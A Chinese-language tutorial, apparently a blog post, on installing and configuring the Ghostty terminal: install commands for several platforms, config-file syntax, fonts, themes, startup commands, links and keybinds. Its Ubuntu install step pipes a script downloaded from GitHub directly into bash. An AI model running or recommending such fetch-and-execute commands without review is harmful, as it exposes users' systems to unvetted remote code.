Ghostty的安装和使用

Ghostty Learning and Settings

Ghostty–终端自定义的最终宿命,包括macOS,Linux和WSL2上的安装设置

使用终端多任务的时候乱码横生,切换卡顿,看到人家的终端布局合理切换丝滑,怎么不生羡慕?

提示
  1. 显示 Ghostty 所有配置项 + 默认值 ghostty +show-config --default

  2. 查看当前生效的配置包含你的修改 ghostty +show-config

  3. 查看默认快捷键(keybings) ghostty +list-keybinds --default

  4. 搜索筛选某个配置:ghostty +show-config --default | grep font

1. 背景

不管是用Claude Code还是opencode,命令行CLI逐渐回归到主流,终端是CLI的工具,好用的终端让CLI效率加倍

Ghostty 是一款终端模拟器,其独特之处在于速度快、功能丰富且界面原生。虽然市面上有很多优秀的终端模拟器,但它们通常都需要你在速度、功能和原生用户界面之间做出选择。而 Ghostty 则能同时满足这三者。

Ghostty 还计划通过提供现代化的可选功能,突破终端模拟器的功能限制,使 CLI 工具开发人员能够构建功能更丰富、更具交互性的应用程序。

Mitchell Hashimoto在开发Terraform、Consul等工具时,发现现有终端工具性能瓶颈严重。2024年底,他用Zig语言从零开始编写Ghostty,2025年正式开源,2026年已成为开发者圈最火的终端工具。

1.1 愿景

作为一款软件,它也有自己的愿景和设计哲学理念,这一款产品成熟的必备特性。

Ghostty 的设计目标是使其外观、感觉和行为都与您期望的应用程序在桌面环境中的行为一致。

Ghostty 是一款适用于 macOS 和 Linux 的原生应用程序。在 macOS 上,其图形用户界面 (GUI) 使用 Swift 编写,并采用 AppKit 和 SwiftUI;在 Linux 上,其 GUI 使用 Zig 编写,并采用 GTK4 C API。GUI 与一个用 Zig 编写的共享核心进行交互,我们称之为“libghostty”。对于不熟悉 Zig 的人来说,它是一种系统编程语言,可以编译成本地机器代码。

注记

符合每一个系统的原生平台意味着macOS和Linux有些许不同的地方,Ghostty 集成了其运行平台特有的系统功能。例如,在 macOS 上,Ghostty 支持快速查看 (Quick Look)、Force Touch、macOS 安全输入 API、重启后内置窗口状态恢复等。这些都是 macOS 提供的原生 API,在 Linux 桌面环境中没有对应的功能。

1.2 特点

  1. Ghostty 致力于提供一系列丰富的日常实用功能。这些功能可分为两类:终端功能和应用程序功能。
  • 终端功能:Ghostty 支持 Kitty 图形协议、浅色/深色模式通知、超链接等功能。这使得 Neovim、Zellij 等终端应用程序能够实现比其他终端模拟器更多的功能。

  • 应用功能:这些是一些更高级的功能,可用于与终端模拟器本身进行交互。例如,Ghostty 支持原生标签页、分屏、macOS 上的下拉终端、系统深色/浅色模式下的主题切换等等。

  1. 快:Ghostty具象化了快:启动时间、滚动速度、IO吞吐量、控制序列吞吐量、帧速率等

  2. Ghostty 不仅仅是一个普通的软件应用程序,它的核心功能被封装成了一个独立的、通用的“库”(library),这使得它非常灵活且易于在其他程序中集成。Ghostty 的核心是一个名为 libghostty 的库,它是跨平台的,并且兼容 C 语言的应用二进制接口(C-ABI)

Ghostty 的桌面应用程序(macOS 版和 Linux 版)只是 libghostty 这个核心库的“使用者”(消费者)。 它们本身不包含终端的核心逻辑,而是通过调用 libghostty 提供的 C 语言接口来实现终端功能,同时各自使用最适合其操作系统的原生技术来构建用户界面。

         ┌──────────────────────┐
         │      GUI 层          │
         │                      │
         │  macOS: SwiftUI      │
         │  Linux: GTK4 + Zig   │
         └─────────┬────────────┘
                   │ C API
         ┌─────────▼────────────┐
         │     libghostty       │
         │  (终端核心引擎)       │
         │                      │
         │ - 终端模拟            │
         │ - 字体处理            │
         │ - 渲染                │
         └──────────────────────┘

2. 安装

macOS上是原配,Ghostty 项目官方仅发布 macOS 的预编译二进制文件。对于其他平台(例如 Linux),依靠发行版维护者和社区成员的共同努力,来构建、测试和分发 Ghostty

2.1 macOS

Ghostty 项目提供官方 macOS 二进制文件,这些文件可在以下网址获取官方地址

这些二进制文件由 Ghostty 项目签名并经过公证。要安装,请下载 .dmg 文件,打开它,然后将 Ghostty 应用程序拖到“应用程序”文件夹。这与安装许多常见的 macOS 应用程序的过程相同。

  1. Homebrew

Ghostty 社区提供了一个自制的 cask 文件,并对其进行了维护。它只是重新打包了官方的 .dmg 文件,应该能提供与官方二进制文件相同的安全级别

brew install --cask ghostty
  1. Nix包管理系统

在 Nix 生态系统中,macOS 和 Linux 上的 Ghostty 安装包名字不同,且来源不同:

  • macOS 用户应该使用 ghostty-bin(这是官方二进制文件的重新打包)
  • Linux 用户通常使用 ghostty(这是从源码构建的 GTK 版本)

Nix 是一个跨平台(支持 Linux、macOS,甚至 Windows)的纯函数式包管理器和构建系统

2.2 Linux

Ghostty 已在许多 Linux 发行版的默认软件仓库中提供。这些软件包均由发行版自行构建、测试和验证,与 Ghostty 项目无关。

# Alpine Linux
apk add ghostty

# Arch Linux
pacman -S ghostty

# Gentoo
emerge -av ghostty

# Solus
eopkg install ghostty

# Void Linux
xbps-install ghostty

Nix

在 Linux 上,Ghostty 可以通过两种主要方式使用 Nix 安装:要么使用 Nixpkgs 中的 ghostty 软件包(由 Nixpkgs 维护团队维护),要么使用 Ghostty 源代码库中提供的 Flake(由 Ghostty 项目直接维护)。Nixpkgs 上的软件包是大多数普通用户最简单的选择,而 Flake 允许更高级的用户安装开发分支的固定版本(“尖端版本”),以便访问更多前沿功能

  • Nix 引擎
  • Nixpkgs:原料+配方库
  • NixOS:用这套体系构建出来的操作系统
注记

Nixpkgs 上的 ghostty 软件包不应与 ghostty-bin 混淆,ghostty-bin 是为 macOS 使用的官方 .dmg 的重新打包版本

总结就是不要用macOS的包管理器去在Linux安装,反之亦然

Linux (Community Binaries)

由于 Zig 版本依赖问题,Ghostty 很难进入 Debian/Ubuntu 的官方稳定源,基本上靠社区来维护

# Fedora
dnf copr enable scottames/ghostty
dnf install ghostty

#Ubuntu
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/mkasberg/ghostty-ubuntu/HEAD/install.sh)"
提示

对于大多数用户来说,不建议从源代码编译 Ghostty。如果您可以使用预编译的二进制文件或软件包,则应使用它们。

3. 设置

Ghostty 支持数百种配置选项,可使其外观和行为完全符合您的预期

3.1 开箱即用的哲学

Ghostty 的设计理念是让大多数用户无需任何配置即可开箱即用,你不设置打开就是最基础的终端软件,小巧快速,Ghostty 拥有合理的默认设置,内置默认字体(JetBrains Mono),还内置了一些极客字体等等

ghostty terminal

3.2 配置格式

Ghostty 使用基于文本的配置文件进行配置,所有的配置都是一个配置文件

  1. 配置文件位置

配置文件名为 config.ghostty,不同的系统在不同的位置,macOS可以在设置中直接找到Setting

macOS文件的位置还比较特殊

  • $HOME/Library/Application\ Support/com.mitchellh.ghostty/config.ghostty
  • $HOME/Library/Application\ Support/com.mitchellh.ghostty/config
  1. 配置语法

Ghostty 使用了一种自定义的、但非常简单的键值对语法key = value。下面的示例配置文件中使用注释对该语法进行了说明

# The syntax is "key = value". The whitespace around the
# equals doesn't matter.
background = 282c34
foreground = ffffff

# Comments start with a `#` and are only valid on their own line.
# Blank lines are ignored!

keybind = ctrl+z=close_surface
keybind = ctrl+d=new_split:right

# Empty values reset the configuration to the default value
font-family =
  • 按键区分大小写。backgroundBackground 并不相同,Ghostty 始终使用小写字母
  • key=value空格不影响
  • #用来注释
  • 空值会将配置重置为默认值 font-family =
  • 值可以加引号,也可以不加引号。font-family = "JetBrains Mono"font-family = JetBrains Mono 相同
  1. 配置拆分多个文件

可以通过在配置文件中设置 config-file 键,将你的 Ghostty 配置拆分到多个文件中

这是一种模块化的管理方式,类似于编程中的 importinclude

  • 在你的主配置文件(通常是 ~/.config/ghostty/config)中,添加一行 config-file = <路径>
  • Ghostty 读到这一行时,会暂停读取当前文件,转而去读取并加载指定的那个文件
  • 加载完成后,继续读取主文件的下一行
注记

你可以写多行的config-file,引入多个不同的配置文件

  • 一个文件放快捷键
  • 一个专门放颜色
  • 一个专门放特定终端的设置

防止死循环

如果值以问号 (?) 开头,则该文件为可选文件;如果该文件不存在,则会被忽略。这对于平台或机器特定的配置文件尤其有用

config-file = some/relative/sub/config
config-file = ?optional/config
config-file = /absolute/path/config
  1. 重新加载设置

运行时可通过按 Ctrl+Shift+,(Linux)或 Cmd+Shift+,(macOS)重新加载配置。这些是默认快捷键,但您也可以通过 reload_config 操作定义自己的快捷键

4. 参考设置

这是 Ghostty 所有配置选项的参考指南。这些选项大致按使用频率排序,并按相关选项分组。

后续Ghostty官方将出来一些比较方便查看设置的功能

4.1 Language

将 Ghostty 的图形用户界面语言设置为系统默认语言以外的语言,语言设置只是影响图形用户界面,不影响终端本身

language = de

4.2 字体设置

你也可以使用ghostty +list-fonts在终端,来查看Ghostty自带的字体

多次重复书写字体配置项(或者在一个配置项中列出多个字体),来定义一个优先级列表,只有当主字体中找不到某个特定的字符(codepoint)时,终端才会去下一个备用字体里找。

字体的参数

  • font-feature允许你精细控制字体的渲染行为,例如开启或关闭编程连字、改变数字样式等
  • font-variation可变字体,可变字体(文件名通常带有 -VF.ttf 或 -VF.otf)将所有的字重、斜度、宽度等变化整合在一个文件中
  • font-codepoint-map:用于解决终端中特殊符号显示乱码、图标缺失或特定字符渲染效果不佳的问题.它允许你强制指定某个(或某段)Unicode 字符使用特定的字体来渲染,而不是使用主字体或系统的默认回退字体。
  • clipboard-codepoint-map:控制的是数据内容:当你选中终端里的文字并按下复制快捷键时,Ghostty 会在将内容放入剪贴板之前,先对内容进行“清洗”或“转换”。
  • font-thicken 仅限 macOS。在 Linux 或 Windows 上设置此项无效,算法强制加粗字体的笔画,而不需要切换到一个真正的“Bold”字体文件
  • font-shaping-break:的作用就是告诉 Ghostty:“在这里强行切断 Run”。一旦 Run 被切断,前后的字符就会分别进行 shaping。这意味着它们之间不会产生连字或上下文关联
  • alpha-blending: Ghostty(以及大多数现代终端模拟器)中,指的是将终端窗口的背景与桌面背景(或其他下层窗口)进行透明度混合渲染的技术(三种模式:native;linear;linear-corrected)
功能 作用
ligature => 变成漂亮箭头
calt 编程连字
dlig 设计连字
zero 0 是否带斜杠
ss01 风格替换
注记

在 macOS 上,Ghostty 默认始终使用 Apple Color Emoji,而在 Linux 上则始终使用 Noto Emoji。您可以通过在此处指定包含表情符号字形的字体系列来覆盖此默认行为

Ghostty 在处理字体样式(粗体、斜体、粗斜体)时的智能回退机制。它的核心目的是:优先保证“样式”正确,而不是为了找样式而随便换一个“字体家族”,从而导致排版错乱。你不需要专门为粗体(bold)、斜体(italic)或粗斜体(bold italic)单独配置字体文件

  • 如果你只设置了 font-family = “MyFont”,Ghostty 会自动去 “MyFont” 这个字体家族里寻找对应的粗体或斜体变体。
  • 在的很多字体文件(尤其是 Variable Fonts 可变字体)在一个文件中就包含了所有样式,或者操作系统能自动关联同一家族下的不同文件

Ghostty 字体处理的最后一个环节:合成样式(Synthesized Styles)

配置项 (Key) 类型 默认行为 功能描述 常用示例值
基础设置
font-family String 系统默认等宽字体 主字体家族。可设置多个,用逗号分隔作为备用链。 "JetBrains Mono", "Noto Sans CJK"
font-size Integer 依系统而定 字体大小(点数)。 14, 16
font-feature String 启用特定的 OpenType 字体特性(如连字)。可重复设置。 calt, liga, ss01
样式字体指定
(可选,通常无需设置)
font-family-bold String 自动从主家族查找 显式指定粗体使用的字体家族。 "Fira Code Bold"
font-family-italic String 自动从主家族查找 显式指定斜体使用的字体家族。 "Fira Code Italic"
font-family-bold-italic String 自动从主家族查找 显式指定粗斜体使用的字体家族。 "Fira Code Bold Italic"
样式映射与控制
(高级控制)
font-style-bold String / Boolean 自动匹配 (如 “Bold”) 1. 字符串: 指定字体内部样式名 (如 “Heavy”)。
2. false: 禁用粗体,回退到常规体。
"Heavy", false
font-style-italic String / Boolean 自动匹配 (如 “Italic”) 1. 字符串: 指定字体内部样式名 (如 “Oblique”)。
2. false: 禁用斜体,回退到常规体。
"Oblique", false
font-style-bold-italic String / Boolean 自动匹配 同上,针对粗斜体。 "Heavy Oblique", false
合成控制
(Synthesis)
font-synthetic-style String / Boolean Enabled (自动合成) 控制是否允许算法合成缺失的样式。
- true: 允许所有合成。
- false: 禁用所有合成。
- 逗号分隔: 禁用特定合成 (如 no-bold,no-italic)。
false, no-italic
性能与微调
adjust-icon-height Percentage 0% 调整图标(如 Nerd Fonts)的高度比例,优化对齐。 -10%, 5%

4.3 Adjust 调整功能

各种微调功能,但是实际用的不多,只有解决部分显示问题的时候才可能用到

  • adjust-cell-widthadjust-cell-height 是 Ghostty 中用于微调终端单元格(Cell)尺寸的高级配置项。它们允许你在不改变字体大小(font-size)的前提下,强制增加或减少每个字符所占用的宽度和高度空间。
  • adjust-font-baseline, adjust-underline-position, adjust-underline-thickness是 Ghostty 中用于精细排版微调的高级选项,它们允许你手动修正字体渲染引擎计算出的基准线位置、下划线位置以及下划线粗细
  • adjust-cursor 调整光标
  • adjust-box-thickness, adjust-icon-height 专门用于优化终端中的图形元素渲染,分别是针对传统的制表符(Box Drawing)和现代的Nerd Font图标。
配置项 (Key) 类型 默认值 功能描述 常用示例
字体与单元格微调
adjust-font-baseline Percentage / Pixels 0 调整字体基线位置。向上或向下移动字体,解决字体“悬浮”或“下沉”的问题。 2%, -1px
adjust-cell-width Percentage / Pixels 0 调整单元格宽度。微调每个字符格的宽度,解决字符间距过紧或过宽的问题。 1px, -2%
adjust-cell-height Percentage / Pixels 0 调整单元格高度。微调行高,解决多行文本行间距过大或过小的问题。 5%, 2px
图标微调 (Nerd Fonts)
adjust-icon-height Percentage 0 调整图标高度比例。专门用于缩放 Nerd Fonts 中的图标,使其与文字高度更协调。 -10%, 5%
adjust-icon-baseline Percentage / Pixels 0 调整图标基线。专门移动图标的垂直位置,解决图标与文字不对齐的问题。 3%, -2px
光标微调
adjust-cursor-thickness Pixels / Percentage 自动 调整光标粗细。覆盖默认的光标厚度。 2px, 10%
adjust-cursor-height Percentage 100% 调整光标高度。主要用于下划线(underline)或条形(bar)光标,控制其高度占比。 80%, 50%
其他合成调整
font-thicken-strength Float 0.5 调整人工加粗强度。当字体无粗体且开启合成时,控制加粗的像素力度。 0.3, 0.8

4.4 主题设置

  1. 主题选择

要使用的主题。这可以是内置主题名称、自定义主题名称,也可以是自定义主题文件的绝对路径。Ghostty 还支持为浅色模式和深色模式指定不同的主题。

第一个目录是 Ghostty 配置目录下的 themes 子目录。它是 $XDG_CONFIG_HOME/ghostty/themes~/.config/ghostty/themes

使用命令来看所有的主题ghostty +list-themes

ghostty themes

主题文件本质上就是另一个 Ghostty 配置文件。它们语法相同,配置选项也相同。主题可以设置任何有效的配置选项,因此请勿使用来自不可信来源的主题文件。内置主题经过审核,仅设置安全的配置选项。

就是在Settings文件中,加入theme = Aizen Light,然后重新载入就可以成功应用了

通过背景色、前景色、调色板等指定的任何其他颜色都将覆盖主题中指定的颜色

要为浅色模式和深色模式指定不同的主题,请使用以下语法:light:主题名称,dark:主题名称。例如:light:Rose Pine Dawn,dark:Rose Pine

  • foreground前景色/文本色
  • background背景色,终端窗口的背景填充颜色
  • background-image-repeat:是 Ghostty 中控制背景图片平铺行为的配置项
  • selection-background: 是 Ghostty 中用于自定义选中文本背景色的配置项
  • selection-clear-on-typing:控制行为:当你开始打字时,是否自动取消当前已选中的文本高亮
  • selection-clear-on-copy: 控制行为: 执行复制操作后,是否自动取消选区高亮。
  • selection-word-chars:控制行为: 定义哪些字符被视为“单词分隔符”。这直接影响双击选词的行为,就是双击的情况下自己控制到底那些被排除,哪些被选中
配置项 (Key) 类型 默认值 功能描述 常用示例值
透明度与模糊
background-image-opacity Float (0.0 - 1.0) 1.0 (不透明) 控制背景颜色的透明度。0.0 为完全透明,1.0 为完全不透明。 0.85, 0.92
background-blur Integer (pixels) 0 控制背景的高斯模糊半径(像素)。
注意:此功能主要在 macOS 上有效(利用系统原生毛玻璃),Linux/Windows 支持情况视具体实现而定。
10, 20, 30
背景图片
background-image String (Path) 设置终端背景图片的路径。支持绝对路径或相对路径。 "/Users/me/Pics/bg.png", "~/wallpapers/dark.jpg"
background-image-fit String cover 控制背景图片的缩放方式。
- cover: 填满窗口(可能裁剪)
- contain: 完整显示(可能有留白)
- stretch: 拉伸填满(可能变形)
- tile: 平铺重复
cover, contain, tile
background-image-position String center 控制背景图片的对齐位置。
格式:x y (如 center, top left, 50% 50%)
center, top right
动态与条件背景
theme String 默认主题 加载预设的颜色主题(包含背景色)。Ghostty 内置了 Catppuccin, Dracula 等流行主题。 catppuccin-mocha, dracula
background-color Color Hex 由 theme 决定 强制覆盖主题的背景颜色。通常不需要设置,除非你想自定义纯色背景。 #1e1e2e, #282a36
  1. 配色

palette 是 Ghostty(以及大多数现代终端模拟器)中最核心、最强大的配色配置项。它允许你直接定义终端的 256 色颜色表。

虽然终端应用程序通常只请求“红色”、“绿色”或“蓝色”,但它们实际上是通过索引号(0-255)来请求颜色的。palette 配置项就是用来告诉终端:“当程序请求索引号为 N 的颜色时,请显示这个具体的 RGB 颜色”。

基础 16 色 (索引 0 - 15)

这是所有终端主题的基础。绝大多数命令行工具 (ls, git, vim, grep) 只使用这 16 种颜色。 - 0-7: 标准深色系 (黑, 红, 绿, 黄, 蓝, 紫, 青, 白) - 8-15: 明亮/加粗色系 (亮黑/灰, 亮红, 亮绿… 亮白)

索引 标准名称 典型用途
0 black 背景、深色文本
1 red 错误、删除、警告
2 green 成功、添加、执行权限
3 yellow 警告、修改、用户名
4 blue 目录、链接、参数
5 magenta (purple) 关键字、特殊符号
6 cyan 变量、流、提示信息
7 white (light gray) 普通文本
8-15 bright_* 高亮强调、加粗文本
  1. 光标选择
配置项 (Key) 类型 默认值 功能描述 常用示例值
形状与样式
cursor-style String block 设置光标的形状。
- block: 实心块 (默认)
- block_hollow: 空心块 (框)
- underline: 下划线
- bar: 竖条 (I-beam)
block, underline, bar, block_hollow
cursor-style-blink Boolean true 是否启用光标闪烁。
true: 闪烁
false: 常亮
true, false
颜色控制
cursor-color Color Hex 由主题决定 强制指定光标的背景颜色(针对实心块或竖条)。会覆盖主题设置。 #FF5555, #ffffff
cursor-text Color Hex 自动对比色 当光标覆盖文字时,强制指定文字的颜色。
常用于解决深色光标遮挡深色文字导致看不清的问题。
#000000, #ffffff
尺寸微调 (Adjust)
adjust-cursor-thickness Pixels / % 自动 调整光标的粗细(主要针对 barunderline 样式,也可微调 block 的边框)。 2px, 3px, 10%
adjust-cursor-height Percentage 100% 调整光标的高度占比。
对于 underline,控制下划线离基线的距离/厚度视觉效果;对于 bar,控制竖条的高度。
80%, 90%
行为控制
cursor-vi-mode String block 专门针对 Vi/Vim 模式的光标样式。当进入 Vim 正常模式时自动切换形状。 block, underline, bar
  • mouse-scroll-multiplier:控制行为: 调整鼠标滚轮滚动的速度/距离。

4.5 命令

command 配置项决定了当你打开一个新的终端窗口、标签页或分割面板时,Ghostty 默认启动什么程序(通常是 Shell,如 bash 或 zsh)

下面是切换端口时默认自带的配置

  • SHELL是环境变量
  • passwd是用户信息
  1. 核心
  • 默认行为:如果不填,Ghostty 会自动读取系统的 $SHELL 环境变量
# 基础用法:指定 zsh 为默认 Shell
command = zsh

# 带参数:启动登录 shell (-l)
# 注意:带参数时会自动启用 shell 模式
command = zsh -l

# 高性能模式:直接运行 nvim,不经过 shell 解析
# 缺点:不能用 ~ 代表主目录,必须写全路径
command = direct:nvim

# 强制模式:即使看起来像直接运行,也强制用 shell 包装
command = shell:/usr/local/bin/my-custom-shell
  1. initial-command
    仅在 Ghostty 应用程序刚启动时创建的第一个窗口中运行该命令。之后新建的窗口依然使用上面的 command
# 启动时自动进入 tmux,如果没运行则新建会话
initial-command = tmux attach || tmux

# 启动时自动运行 htop (仅第一个窗口)
initial-command = htop
  1. notify-on-command-finish (命令完成通知)

当一个长时间运行的命令结束时,是否发送通知

  • never (默认):不通知
  • unfocused:只有当你没在看这个窗口时才通知(推荐)
  • always:无论是否在看,都通知
  1. notify-on-command-finish-action (通知方式)

如果开启了通知,具体怎么提醒?

  • bell:播放终端铃声
  • notify: 发送系统桌面弹窗通知(默认关闭)
  1. notify-on-command-finish-after (通知延迟)

命令运行时间必须超过这个设定值,结束时才会发通知。防止 ls 这种瞬间完成的命令也骚扰你,数字 + 单位 (s, m, h, d 等)

  1. Input启动自动输入

终端启动后,自动向里面“敲入”一段文字或文件内容。就是启动窗口之后自动输入文字在窗口命令端

  • raw:文本:直接发送文本(支持 换行)
  • path:文件路径:发送文件内容
# 启动后自动输入 "cd projects" 并回车
input = raw:cd projects\n

# 启动后自动运行一个脚本文件的内容
input = path:/home/user/.ghostty_startup_script.sh

# 组合使用:先 cd,再 ls
input = raw:cd /var/log\n
input = raw:ls -lt\n
注记

这样可操作性就会大很多,效率加倍提升

7. scrollback-limit (滚动历史缓冲区大小)

限制终端向上滚动查看的历史记录占用多少内存(字节).设得太大可能占用较多内存;设得太小会导致早期历史记录丢失。目前不支持“无限”。

# 限制为 100 MB (100 * 1024 * 1024)
scrollback-limit = 104857600

# 限制为 500 MB
scrollback-limit = 524288000

8. scrollbar (滚动条显示策略)

控制侧边滚动条何时显示,system (默认):跟随系统设置(如 macOS 默认是鼠标悬停才显示;never:永远隐藏滚动条 UI(但仍可用鼠标滚轮滚动)

  1. 设置环境变量

给终端里的命令额外传递环境变量。可以设置编辑器默认的,比如vim,nvim,emacs等,各种API key等

4.6 Link设置,打开终端设置相关

  1. link-url (启用/禁用 URL 自动识别)

控制是否自动识别并高亮显示 URL,Ghostty 默认开启此功能。当你按住 Ctrl(Linux) 或 Command(macOS) 并鼠标悬停在 URL 上时,URL 会变成可点击状态,点击后使用系统默认浏览器打开。

# 彻底禁用 URL 自动识别和点击打开功能
link-url = false

# 显式启用(默认值,通常不需要写)
link-url = true
  1. link-previews (链接预览)

当鼠标悬停在链接上时,是否显示一个小浮窗预览链接的目标地址或内容

含义 适用场景
true 总是显示。只要鼠标悬停在任何被识别的 URL 上,都会显示预览浮窗。 适合需要频繁确认链接真实地址的用户,或者链接文本本身不包含完整 URL 的情况。
false 从不显示。禁用所有链接预览浮窗。 适合喜欢极简界面,或者觉得浮窗遮挡视线、造成干扰的用户。这是许多人的首选以保持界面干净。
"osc8" 仅对 OSC 8 链接显示。只有当链接是通过终端的 OSC 8 转义序列 创建时才显示预览。 推荐用于现代工作流。很多现代命令行工具(如 ls --hyperlink, git diff, bat, lazygit 等)支持 OSC 8。它们可以显示简短的文本(如 README.md),但底层链接是完整路径。设置为 "osc8" 可以在你需要时看到完整路径,而在普通文本 URL 上保持安静。
提示

OSC 8 是一种终端标准协议,允许程序在文本中嵌入“隐形”的链接 - 普通链接:你看到的是 https://github.com,链接也是 https://github.com - OSC 8 链接:你看到的是 官网,但鼠标悬停或点击时,它指向 https://github.com

  1. 最大化,全屏,文件夹设置
  • maximize:是否以最大化状态启动窗口。此设置适用于新建窗口,不适用于标签页、分屏等。但是,此设置将应用于所有新建窗口,而不仅仅是第一个窗口
  • fullscreen:以全屏模式启动新窗口。此设置仅适用于新窗口,不适用于标签页、分屏等。但是,此设置将应用于所有新窗口,而不仅仅是第一个窗口
  • title:允许你强制固定终端窗口的标题,忽略程序(如 Neovim、Vim、htop 等)试图动态修改标题的行为,一旦设置,窗口标题将始终显示为你设定的值或者设置为空title = " "

Ghostty 配置项 working-directory 的作用。它决定了当你打开一个新的 Ghostty 窗口时,终端默认会进入哪个文件夹

  • 设置初始路径:指定新窗口启动后的当前工作目录
  • 最高优先级:window-inherit-working-directory。如果这个选项开启(默认通常开启),且新窗口是从现有的 Ghostty 窗口/标签页派生出来的(例如在同一个进程中打开新标签),它会直接继承父窗口的目录,忽略 working-directory 设置
  • 次级优先级:working-directory。只有当没有父窗口可继承时(例如启动第一个窗口,或通过外部命令强制新建进程),这个设置才会生效
# 从主目录启动,无论你怎么启动Ghostty 新窗口都在`~`
working-directory = "home"

# 固定到特定项目目录
working-directory = "~/code/my-awesome-project"

# 恢复默认智能行为
working-directory = "inherit"

4.7 keybind按键绑定

Ghostty中有两个最核心的键盘配置项,keybindkey-remap按键重映射

按键绑定是用来定义按下什么键执行什么操作的核心配置,格式:触发器=动作,如果有重复的触发器,后面的配置会覆盖前面的

  1. 触发器(Trigger)写法

触发器由按键和修饰键组成,用+连接,基本格式: ctrl+a, ctrl+shift+b, up (方向键)

修饰键别名

  • ctrlcontrol
  • alt或者opt,option
  • supercmd,command
  • shift
  1. 物理键码匹配

物理键码匹配 (Physical Key Codes) 是一种按键识别机制,它忽略键盘布局(Layout)和语言设置,直接根据键盘上按键的物理位置来触发操作

在 Ghostty(以及现代 Web 标准 W3C)中,这意味着无论你的操作系统设置为英语、法语、德语还是日语,只要你的手指按下了键盘上同一个位置的键,触发的动作就是一样的。

特性 字符匹配 (Unicode Codepoint)
(默认行为)
物理键码匹配 (Physical Key Codes)
(Ghostty 中的 KeyA, F1 等)
识别依据 按键产生的字符是什么? 按键的物理位置在哪里?
受键盘布局影响 是。换布局,触发键就变了。 否。换布局,触发键不变。
大小写敏感 通常不敏感 (a = A)。 敏感 (KeyAKeyB)。
典型写法 a, b, ?, é KeyA, KeyB, Quote, KeyE
适用场景 需要输入特定字符的场景。 快捷键、游戏控制、跨语言环境。
注记

就像是采用统一的键盘标准,不管你键盘是英文还是中文,只要按键位置一样,触发键就一样

  1. 特殊键与通配符

insert, up, f5, delete 等,直接使用名称(参考 W3C 标准)

catch_all(捕获所有未定义按键)

  1. 序列绑定 (Key Sequences / Leader Keys)

允许通过“先按 A,再按 B”来触发操作,类似 Vim 的 Leader Key 或 Tmux 的前缀键

  • 语法:用>连接
    • ctrl+a>n=new_window (先按 Ctrl+A,松开,再按 N -> 新建窗口)
    • 无限等待,会一直等到按下一个键,没有超时设置
  1. 动作(Action)写法

当你在 keybind 中定义了“触发器”(如 ctrl+a)后,等号右边的部分就是 “动作”,告诉 Ghostty 按下键后具体要做什么

动作的基本格式

  • actionaction:param
    • 如果动作不需要参数,直接写名字(如 new_window
    • 如果动作需要参数,用冒号分隔(如 `text:hello)
  • 参数处理: 冒号后面的内容会被原样接收,不会解析双引号或其他特殊符号
    • 如果你想发送包含空格的字符串 csi:A B,你需要把整个绑定用双引号包起来:--keybind="up=csi:A B"
动作名称 含义 示例与说明
ignore 忽略/吞掉按键 按下键后什么都不发生,也不会传给终端里的程序。常用于屏蔽某些 unwanted 的快捷键。
unbind 解除绑定 删除该按键之前的所有绑定。按键会恢复默认行为(如果是可打印字符,则传给程序)。
(注意:它会同时移除普通绑定和 physical: 前缀的绑定)
csi:text 发送 CSI 序列 发送 ANSI 控制序列。
例:csi:A 发送“光标上移”指令(等同于方向键上)。
esc:text 发送 Escape 序列 发送以 ESC 开头的序列。
例:esc:d 可能用于删除到词尾(取决于具体程序定义)。
text:text 发送字符串 直接输入文本。支持 Zig 语言风格的转义字符。
例:text:\x15 发送 Ctrl-U 字符;text:Hello 直接输入 Hello。

提示: 其他所有高级动作(如 new_window, copy, paste 等)可以通过运行命令 ghostty +list-actions 查看完整列表。

特殊全局指令

keybind = clear :清除所有设定的按键绑定

注意

这不仅清除你自定义的,连 Ghostty 的默认绑定(如 Ctrl+C, Ctrl+V)也会被清除!通常只在配置文件开头使用,以便从头开始完全自定义

高级前缀修饰符 (Prefixes)

可以在触发器前面加前缀(用冒号结尾),来改变绑定的行为范围或逻辑

  • all: (应用到所有表面):快捷键只对当前聚焦的那个终端窗口/标签页生效, 加上 all:: 快捷键会对所有打开的 Ghostty 终端表面生效 (比如你想按一个键让所有终端同时滚动,或者同时刷新配置)

  • global: (系统级全局快捷键): 加上 global:: 即使 Ghostty 没有聚焦(你在用浏览器或编辑器),按下该组合键也能触发 Ghostty 的动作

  • unconsumed (不消费输入):加上 unconsumed:: Ghostty 执行动作的同时,也会把按键信号传给终端里的程序 (你想让 Ctrl+A 既触发 Ghostty 的某个功能,又让 Vim 收到 Ctrl+A 进行行首跳转。) 冲突: global: 和 all: 绑定的按键永远会被消费,不能使用 unconsumed:(因为它们不属于特定终端,无法编码发送)

  • performable(条件出发):只有当动作确实能执行时,才触发并消费按键;否则,当作没绑定一样,把按键传给程序。

注记
  1. 多重前缀: 可以叠加使用.global:unconsumed:ctrl+a=reload_config:含义:全局生效 + 不消费按键 + 按下 Ctrl+A 重载配置

  2. 覆盖规则:触发器本身不区分前缀。ctrl+a 和 global:ctrl+a 被视为同一个触发器。后写的覆盖先写的

# 1. 忽略 F12,防止误触
keybind = F12=ignore

# 2. 解除 Ctrl+Q 的默认退出绑定,让它传给程序(如果程序有用)
keybind = ctrl+q=unbind

# 3. 发送特定的字符串 "sudo "
keybind = ctrl+s=text:sudo\x20

# 4. 【智能复制】有选区时复制,无选区时传给程序 (如中断)
keybind = performable:ctrl+c=copy_to_clipboard

# 5. 【全局快捷键】无论在哪,按 Cmd+Shift+R 重载 Ghostty 配置 (macOS/KDE/GNOME)
keybind = global:super+shift+r=reload_config

# 6. 【全终端广播】按某个键,让所有打开的终端都清屏
keybind = all:ctrl+l=clear_screen
  1. 链式动作 (Chained Actions)

允许你按下一个快捷键,按顺序执行多个动作

1.定义主绑定:首先正常定义一个 keybind; 2. 追加动作:使用 chain= 开头定义后续动作。Ghostty 会自动将这些动作附加到最近定义的那个绑定上

# 第一步:定义主触发器 ctrl+a -> 新建窗口
keybind = ctrl+a=new_window

# 第二步:追加动作 -> 焦点移到左侧分屏
keybind = chain=goto_split:left

# 第三步:再追加一个动作 -> 切换全屏
keybind = chain=toggle_fullscreen

4.8 Key Table

在 Ghostty 里,Key Tables(按键表)本质上是一个“按键映射的分组系统(类似多套键盘配置档案)

Key Table = 一整套“键盘快捷键方案”,可以按场景切换

这个设计的逻辑是如果只有一套keybind:

  • Vim 模式需要一套快捷键
  • Shell 模式需要另一套

Ghostty将键盘映射拆成多个”表””

Key Table 用途
default 默认终端
vim_mode 模拟 Vim
copy_mode 复制/选择文本
search_mode 搜索历史

4.9 Key-remap

